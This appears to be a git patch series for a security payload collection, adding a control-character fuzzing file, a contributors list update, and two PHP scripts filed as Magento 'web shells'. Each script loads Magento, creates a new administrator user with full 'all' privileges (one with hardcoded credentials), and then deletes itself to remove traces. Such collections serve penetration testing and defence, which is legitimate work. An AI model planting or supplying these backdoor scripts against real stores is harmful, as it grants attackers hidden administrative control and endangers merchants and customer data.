From 75f5d656c10966253faf48220d9dbef004dd5960 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 3 Nov 2020 11:51:18 +0000 Subject: [PATCH 1/3] Add Invisible control characters --- Miscellaneous/control-chars.txt | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 Miscellaneous/control-chars.txt diff --git a/Miscellaneous/control-chars.txt b/Miscellaneous/control-chars.txt new file mode 100644 index 00000000..01a32429 --- /dev/null +++ b/Miscellaneous/control-chars.txt @@ -0,0 +1,10 @@ + + + + + + + + + + From 59a8f512af5f3354f3e93400d52dc45c70db2da4 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 3 Nov 2020 11:51:54 +0000 Subject: [PATCH 2/3] Add Magento webshells --- Web-Shells/Magento/newadmin-Inchoo.php | 77 ++++++++++++++++++++ Web-Shells/Magento/newadmin-KINKCreative.php | 69 ++++++++++++++++++ 2 files changed, 146 insertions(+) create mode 100644 Web-Shells/Magento/newadmin-Inchoo.php create mode 100644 Web-Shells/Magento/newadmin-KINKCreative.php diff --git a/Web-Shells/Magento/newadmin-Inchoo.php b/Web-Shells/Magento/newadmin-Inchoo.php new file mode 100644 index 00000000..5789f180 --- /dev/null +++ b/Web-Shells/Magento/newadmin-Inchoo.php @@ -0,0 +1,77 @@ + + */ + +//define USERNAME, EMAIL and PASSWORD and uncomment(#) this 3 lines +#define('USERNAME','inchoo'); +#define('EMAIL','xyz@inchoo.net'); +#define('PASSWORD','inchoo555'); + + +if(!defined('USERNAME') || !defined('EMAIL') || !defined('PASSWORD')){ + echo 'Edit this file and define USERNAME, EMAIL and PASSWORD.'; + exit; +} + +//load Magento +$mageFilename = 'app/Mage.php'; +if (!file_exists($mageFilename)) { + echo $mageFilename." was not found"; + exit; +} +require_once $mageFilename; +Mage::app(); + +try { + //create new user + $user = Mage::getModel('admin/user') + ->setData(array( + 'username' => USERNAME, + 'firstname' => 'John', + 'lastname' => 'Doe', + 'email' => EMAIL, + 'password' => PASSWORD, + 'is_active' => 1 + ))->save(); + +} catch (Exception $e) { + echo $e->getMessage(); + exit; +} + +try { + //create new role + $role = Mage::getModel("admin/roles") + ->setName('Inchoo') + ->setRoleType('G') + ->save(); + + //give "all" privileges to role + Mage::getModel("admin/rules") + ->setRoleId($role->getId()) + ->setResources(array("all")) + ->saveRel(); + +} catch (Mage_Core_Exception $e) { + echo $e->getMessage(); + exit; +} catch (Exception $e) { + echo 'Error while saving role.'; + exit; +} + +try { + //assign user to role + $user->setRoleIds(array($role->getId())) + ->setRoleUserId($user->getUserId()) + ->saveRelations(); + +} catch (Exception $e) { + echo $e->getMessage(); + exit; +} + +echo 'Admin User sucessfully created!

THIS FILE WILL NOW TRY TO DELETE ITSELF, BUT PLEASE CHECK TO BE SURE!'; +@unlink(__FILE__); diff --git a/Web-Shells/Magento/newadmin-KINKCreative.php b/Web-Shells/Magento/newadmin-KINKCreative.php new file mode 100644 index 00000000..9eefcdc6 --- /dev/null +++ b/Web-Shells/Magento/newadmin-KINKCreative.php @@ -0,0 +1,69 @@ +setData(array( + 'username' => 'admin', + 'firstname' => 'Admin', + 'lastname' => 'User', + 'email' => 'admin@mymagento.com', + 'password' => 'admi', + 'is_active' => 1 + ))->save(); + +} catch (Exception $e) { + echo $e->getMessage(); + exit; +} + +try { + //create new role + $role = Mage::getModel("admin/roles") + ->setName('Inchoo') + ->setRoleType('G') + ->save(); + + //give "all" privileges to role + Mage::getModel("admin/rules") + ->setRoleId($role->getId()) + ->setResources(array("all")) + ->saveRel(); + +} catch (Mage_Core_Exception $e) { + echo $e->getMessage(); + exit; +} catch (Exception $e) { + echo 'Error while saving role.'; + exit; +} + +try { + //assign user to role + $user->setRoleIds(array($role->getId())) + ->setRoleUserId($user->getUserId()) + ->saveRelations(); + +} catch (Exception $e) { + echo $e->getMessage(); + exit; +} + +echo 'Admin User sucessfully created!'; +echo '

THIS FILE WILL NOW TRY TO DELETE ITSELF, BUT PLEASE CHECK TO BE SURE!'; +@unlink(__FILE__); + From 4006e184baa17bad9d3c5bcf1c5af90e76aeb04e Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 3 Nov 2020 11:53:17 +0000 Subject: [PATCH 3/3] Update CONTRIBUTORS --- CONTRIBUTORS.md | 58 +++++++++++++++++++++++++------------------------ 1 file changed, 30 insertions(+), 28 deletions(-) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 95892952..f0cd9fe8 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -42,31 +42,33 @@ This project stays great because of care and love from the [community](https://g | | | | | | |---|---|---|---|---| -
[g0tmi1k](https://api.github.com/users/g0tmi1k) |
[danielmiessler](https://api.github.com/users/danielmiessler) |
[jhaddix](https://api.github.com/users/jhaddix) |
[toxydose](https://api.github.com/users/toxydose) |
[shipcod3](https://api.github.com/users/shipcod3) | -
[govolution](https://api.github.com/users/govolution) |
[righettod](https://api.github.com/users/righettod) |
[mcjon3z](https://api.github.com/users/mcjon3z) |
[semprix](https://api.github.com/users/semprix) |
[erose1337](https://api.github.com/users/erose1337) | -
[leesoh](https://api.github.com/users/leesoh) |
[Rbcafe](https://api.github.com/users/Rbcafe) |
[alexlauerman](https://api.github.com/users/alexlauerman) |
[drwetter](https://api.github.com/users/drwetter) |
[kurobeats](https://api.github.com/users/kurobeats) | -
[noraj](https://api.github.com/users/noraj) |
[ericrange](https://api.github.com/users/ericrange) |
[kazkansouh](https://api.github.com/users/kazkansouh) |
[tkisason](https://api.github.com/users/tkisason) |
[clem9669](https://api.github.com/users/clem9669) | -
[tomcodes](https://api.github.com/users/tomcodes) |
[s7x](https://api.github.com/users/s7x) |
[PaulSec](https://api.github.com/users/PaulSec) |
[whoot](https://api.github.com/users/whoot) |
[ricardojba](https://api.github.com/users/ricardojba) | -
[s0md3v](https://api.github.com/users/s0md3v) |
[XalfiE](https://api.github.com/users/XalfiE) |
[ethicalhack3r](https://api.github.com/users/ethicalhack3r) |
[its0x08](https://api.github.com/users/its0x08) |
[ArgentEnergy](https://api.github.com/users/ArgentEnergy) | -
[Beverdam](https://api.github.com/users/Beverdam) |
[camas](https://api.github.com/users/camas) |
[jebentier](https://api.github.com/users/jebentier) |
[albinowax](https://api.github.com/users/albinowax) |
[storenth](https://api.github.com/users/storenth) | -
[Lavaei](https://api.github.com/users/Lavaei) |
[PinkDraconian](https://api.github.com/users/PinkDraconian) |
[q-analysis](https://api.github.com/users/q-analysis) |
[henshin](https://api.github.com/users/henshin) |
[charliecampbell-zz](https://api.github.com/users/charliecampbell-zz) | -
[j0hnf](https://api.github.com/users/j0hnf) |
[pbafe](https://api.github.com/users/pbafe) |
[xrobhal](https://api.github.com/users/xrobhal) |
[hisxo](https://api.github.com/users/hisxo) |
[bkimminich](https://api.github.com/users/bkimminich) | -
[craSH](https://api.github.com/users/craSH) |
[nsonaniya2010](https://api.github.com/users/nsonaniya2010) |
[Failsafe-0verflowme](https://api.github.com/users/Failsafe-0verflowme) |
[acaetano](https://api.github.com/users/acaetano) |
[xpirt](https://api.github.com/users/xpirt) | -
[radarhere](https://api.github.com/users/radarhere) |
[aguilbau](https://api.github.com/users/aguilbau) |
[Glassware123](https://api.github.com/users/Glassware123) |
[berzerk0](https://api.github.com/users/berzerk0) |
[caioluders](https://api.github.com/users/caioluders) | -
[cnotin](https://api.github.com/users/cnotin) |
[CoccodrillooXDS](https://api.github.com/users/CoccodrillooXDS) |
[lc](https://api.github.com/users/lc) |
[CyDoor](https://api.github.com/users/CyDoor) |
[DarrenRainey](https://api.github.com/users/DarrenRainey) | -
[denzuko](https://api.github.com/users/denzuko) |
[francisuk1989](https://api.github.com/users/francisuk1989) |
[giomke](https://api.github.com/users/giomke) |
[haxxinen](https://api.github.com/users/haxxinen) |
[ilyaglow](https://api.github.com/users/ilyaglow) | -
[IndiNijhof](https://api.github.com/users/IndiNijhof) |
[0xInfection](https://api.github.com/users/0xInfection) |
[vortexau](https://api.github.com/users/vortexau) |
[IAmATeaPot418](https://api.github.com/users/IAmATeaPot418) |
[JensTimmerman](https://api.github.com/users/JensTimmerman) | -
[0xJs](https://api.github.com/users/0xJs) |
[qurbat](https://api.github.com/users/qurbat) |
[stuntguy3000](https://api.github.com/users/stuntguy3000) |
[chokeee](https://api.github.com/users/chokeee) |
[Martin407](https://api.github.com/users/Martin407) | -
[brimstone](https://api.github.com/users/brimstone) |
[mazen160](https://api.github.com/users/mazen160) |
[melardev](https://api.github.com/users/melardev) |
[mbiert](https://api.github.com/users/mbiert) |
[michenriksen](https://api.github.com/users/michenriksen) | -
[Natfan](https://api.github.com/users/Natfan) |
[nkakouros](https://api.github.com/users/nkakouros) |
[ngkogkos](https://api.github.com/users/ngkogkos) |
[parthmalhotra](https://api.github.com/users/parthmalhotra) |
[Prinzhorn](https://api.github.com/users/Prinzhorn) | -
[ryan-wendel](https://api.github.com/users/ryan-wendel) |
[upgoingstar](https://api.github.com/users/upgoingstar) |
[SolomonSklash](https://api.github.com/users/SolomonSklash) |
[soufianetahiri](https://api.github.com/users/soufianetahiri) |
[Techbrunch](https://api.github.com/users/Techbrunch) | -
[Tibo-le-canard](https://api.github.com/users/Tibo-le-canard) |
[wasamasa](https://api.github.com/users/wasamasa) |
[vinnytroia](https://api.github.com/users/vinnytroia) |
[VitalySalnikov](https://api.github.com/users/VitalySalnikov) |
[mswell](https://api.github.com/users/mswell) | -
[kongwenbin](https://api.github.com/users/kongwenbin) |
[Zawadidone](https://api.github.com/users/Zawadidone) |
[ajazevedo](https://api.github.com/users/ajazevedo) |
[alisabzeghabaei](https://api.github.com/users/alisabzeghabaei) |
[api0cradle](https://api.github.com/users/api0cradle) | -
[cactuschibre](https://api.github.com/users/cactuschibre) |
[davidegirardi](https://api.github.com/users/davidegirardi) |
[dotan3](https://api.github.com/users/dotan3) |
[draguntsow](https://api.github.com/users/draguntsow) |
[espreto](https://api.github.com/users/espreto) | -
[frite](https://api.github.com/users/frite) |
[guest20](https://api.github.com/users/guest20) |
[henry701](https://api.github.com/users/henry701) |
[hitericcow](https://api.github.com/users/hitericcow) |
[ipentest](https://api.github.com/users/ipentest) | -
[jakobhuss](https://api.github.com/users/jakobhuss) |
[jaweesh](https://api.github.com/users/jaweesh) |
[jhsware](https://api.github.com/users/jhsware) |
[Kegn](https://api.github.com/users/Kegn) |
[lukebeer](https://api.github.com/users/lukebeer) | -
[0x6c7862](https://api.github.com/users/0x6c7862) |
[mathieu-aubin](https://api.github.com/users/mathieu-aubin) |
[maxence-schmitt](https://api.github.com/users/maxence-schmitt) |
[milangfx](https://api.github.com/users/milangfx) |
[muhammedck113](https://api.github.com/users/muhammedck113) | -
[n3k00n3](https://api.github.com/users/n3k00n3) |
[NeuronAddict](https://api.github.com/users/NeuronAddict) |
[objectified](https://api.github.com/users/objectified) |
[om3rcitak](https://api.github.com/users/om3rcitak) |
[oh6hay](https://api.github.com/users/oh6hay) | -
[reydc](https://api.github.com/users/reydc) |
[rik43](https://api.github.com/users/rik43) |
[sheimo](https://api.github.com/users/sheimo) |
[socketz](https://api.github.com/users/socketz) |
[tehmoon](https://api.github.com/users/tehmoon) | -
[0x90shell](https://api.github.com/users/0x90shell) |
[waawaa](https://api.github.com/users/waawaa) | - +
[g0tmi1k](https://api.github.com/users/g0tmi1k) |
[danielmiessler](https://api.github.com/users/danielmiessler) |
[jhaddix](https://api.github.com/users/jhaddix) |
[toxydose](https://api.github.com/users/toxydose) |
[shipcod3](https://api.github.com/users/shipcod3) | +
[righettod](https://api.github.com/users/righettod) |
[govolution](https://api.github.com/users/govolution) |
[mcjon3z](https://api.github.com/users/mcjon3z) |
[semprix](https://api.github.com/users/semprix) |
[erose1337](https://api.github.com/users/erose1337) | +
[leesoh](https://api.github.com/users/leesoh) |
[drwetter](https://api.github.com/users/drwetter) |
[Rbcafe](https://api.github.com/users/Rbcafe) |
[alexlauerman](https://api.github.com/users/alexlauerman) |
[noraj](https://api.github.com/users/noraj) | +
[ericrange](https://api.github.com/users/ericrange) |
[kazkansouh](https://api.github.com/users/kazkansouh) |
[tkisason](https://api.github.com/users/tkisason) |
[clem9669](https://api.github.com/users/clem9669) |
[tomcodes](https://api.github.com/users/tomcodes) | +
[s7x](https://api.github.com/users/s7x) |
[PaulSec](https://api.github.com/users/PaulSec) |
[whoot](https://api.github.com/users/whoot) |
[ricardojba](https://api.github.com/users/ricardojba) |
[s0md3v](https://api.github.com/users/s0md3v) | +
[soufianetahiri](https://api.github.com/users/soufianetahiri) |
[XalfiE](https://api.github.com/users/XalfiE) |
[ethicalhack3r](https://api.github.com/users/ethicalhack3r) |
[realArcherL](https://api.github.com/users/realArcherL) |
[n3k00n3](https://api.github.com/users/n3k00n3) | +
[kurobeats](https://api.github.com/users/kurobeats) |
[ArgentEnergy](https://api.github.com/users/ArgentEnergy) |
[Beverdam](https://api.github.com/users/Beverdam) |
[camas](https://api.github.com/users/camas) |
[dee-see](https://api.github.com/users/dee-see) | +
[jebentier](https://api.github.com/users/jebentier) |
[albinowax](https://api.github.com/users/albinowax) |
[storenth](https://api.github.com/users/storenth) |
[Lavaei](https://api.github.com/users/Lavaei) |
[PinkDraconian](https://api.github.com/users/PinkDraconian) | +
[q-analysis](https://api.github.com/users/q-analysis) |
[henshin](https://api.github.com/users/henshin) |
[charliecampbell-zz](https://api.github.com/users/charliecampbell-zz) |
[j0hnf](https://api.github.com/users/j0hnf) |
[pbafe](https://api.github.com/users/pbafe) | +
[shelld3v](https://api.github.com/users/shelld3v) |
[xrobhal](https://api.github.com/users/xrobhal) |
[hisxo](https://api.github.com/users/hisxo) |
[bkimminich](https://api.github.com/users/bkimminich) |
[haxxinen](https://api.github.com/users/haxxinen) | +
[craSH](https://api.github.com/users/craSH) |
[nsonaniya2010](https://api.github.com/users/nsonaniya2010) |
[0verflowme](https://api.github.com/users/0verflowme) |
[TheSerialiZator](https://api.github.com/users/TheSerialiZator) |
[acaetano](https://api.github.com/users/acaetano) | +
[xpirt](https://api.github.com/users/xpirt) |
[radarhere](https://api.github.com/users/radarhere) |
[aguilbau](https://api.github.com/users/aguilbau) |
[Glassware123](https://api.github.com/users/Glassware123) |
[berzerk0](https://api.github.com/users/berzerk0) | +
[caioluders](https://api.github.com/users/caioluders) |
[cnotin](https://api.github.com/users/cnotin) |
[CoccodrillooXDS](https://api.github.com/users/CoccodrillooXDS) |
[lc](https://api.github.com/users/lc) |
[CyDoor](https://api.github.com/users/CyDoor) | +
[GovindPalakkal](https://api.github.com/users/GovindPalakkal) |
[daehee](https://api.github.com/users/daehee) |
[danrneal](https://api.github.com/users/danrneal) |
[DarrenRainey](https://api.github.com/users/DarrenRainey) |
[denzuko](https://api.github.com/users/denzuko) | +
[francisuk1989](https://api.github.com/users/francisuk1989) |
[giomke](https://api.github.com/users/giomke) |
[ilyaglow](https://api.github.com/users/ilyaglow) |
[IndiNijhof](https://api.github.com/users/IndiNijhof) |
[0xInfection](https://api.github.com/users/0xInfection) | +
[vortexau](https://api.github.com/users/vortexau) |
[IAmATeaPot418](https://api.github.com/users/IAmATeaPot418) |
[JensTimmerman](https://api.github.com/users/JensTimmerman) |
[0xJs](https://api.github.com/users/0xJs) |
[qurbat](https://api.github.com/users/qurbat) | +
[LabanSkollerDefensify](https://api.github.com/users/LabanSkollerDefensify) |
[LethargicLeprechaun](https://api.github.com/users/LethargicLeprechaun) |
[stuntguy3000](https://api.github.com/users/stuntguy3000) |
[Paradoxis](https://api.github.com/users/Paradoxis) |
[chokeee](https://api.github.com/users/chokeee) | +
[Martin407](https://api.github.com/users/Martin407) |
[brimstone](https://api.github.com/users/brimstone) |
[mazen160](https://api.github.com/users/mazen160) |
[melardev](https://api.github.com/users/melardev) |
[mbiert](https://api.github.com/users/mbiert) | +
[mbiert](https://api.github.com/users/mbiert) |
[michenriksen](https://api.github.com/users/michenriksen) |
[mrajput7](https://api.github.com/users/mrajput7) |
[MusicGivesMeLife](https://api.github.com/users/MusicGivesMeLife) |
[Natfan](https://api.github.com/users/Natfan) | +
[nkakouros](https://api.github.com/users/nkakouros) |
[ngkogkos](https://api.github.com/users/ngkogkos) |
[parthmalhotra](https://api.github.com/users/parthmalhotra) |
[Prinzhorn](https://api.github.com/users/Prinzhorn) |
[ryan-wendel](https://api.github.com/users/ryan-wendel) | +
[upgoingstar](https://api.github.com/users/upgoingstar) |
[SolomonSklash](https://api.github.com/users/SolomonSklash) |
[Techbrunch](https://api.github.com/users/Techbrunch) |
[CanardMandarin](https://api.github.com/users/CanardMandarin) |
[wasamasa](https://api.github.com/users/wasamasa) | +
[vinnytroia](https://api.github.com/users/vinnytroia) |
[VitalySalnikov](https://api.github.com/users/VitalySalnikov) |
[mswell](https://api.github.com/users/mswell) |
[kongwenbin](https://api.github.com/users/kongwenbin) |
[Zawadidone](https://api.github.com/users/Zawadidone) | +
[aayushsonu](https://api.github.com/users/aayushsonu) |
[ajazevedo](https://api.github.com/users/ajazevedo) |
[alisabzeghabaei](https://api.github.com/users/alisabzeghabaei) |
[api0cradle](https://api.github.com/users/api0cradle) |
[bugbounty69](https://api.github.com/users/bugbounty69) | +
[cactuschibre](https://api.github.com/users/cactuschibre) |
[chudyPB](https://api.github.com/users/chudyPB) |
[davidegirardi](https://api.github.com/users/davidegirardi) |
[device33](https://api.github.com/users/device33) |
[dotan3](https://api.github.com/users/dotan3) | +
[draguntsow](https://api.github.com/users/draguntsow) |
[espreto](https://api.github.com/users/espreto) |
[frite](https://api.github.com/users/frite) |
[guest20](https://api.github.com/users/guest20) |
[henry701](https://api.github.com/users/henry701) | +
[hitericcow](https://api.github.com/users/hitericcow) |
[ipentest](https://api.github.com/users/ipentest) |
[jakobhuss](https://api.github.com/users/jakobhuss) |
[jaweesh](https://api.github.com/users/jaweesh) |
[jhsware](https://api.github.com/users/jhsware) | +
[joegoerlich](https://api.github.com/users/joegoerlich) |
[Kegn](https://api.github.com/users/Kegn) |
[lukebeer](https://api.github.com/users/lukebeer) |
[0x6c7862](https://api.github.com/users/0x6c7862) |
[mathieu-aubin](https://api.github.com/users/mathieu-aubin) | +
[maxence-schmitt](https://api.github.com/users/maxence-schmitt) |
[milangfx](https://api.github.com/users/milangfx) |
[muhammedck113](https://api.github.com/users/muhammedck113) |
[NeuronAddict](https://api.github.com/users/NeuronAddict) |
[objectified](https://api.github.com/users/objectified) | +
[om3rcitak](https://api.github.com/users/om3rcitak) |
[oh6hay](https://api.github.com/users/oh6hay) |
[reydc](https://api.github.com/users/reydc) |
[rik43](https://api.github.com/users/rik43) |
[sheimo](https://api.github.com/users/sheimo) | +
[socketz](https://api.github.com/users/socketz) |
[tehmoon](https://api.github.com/users/tehmoon) |
[0x90shell](https://api.github.com/users/0x90shell) |
[waawaa](https://api.github.com/users/waawaa) |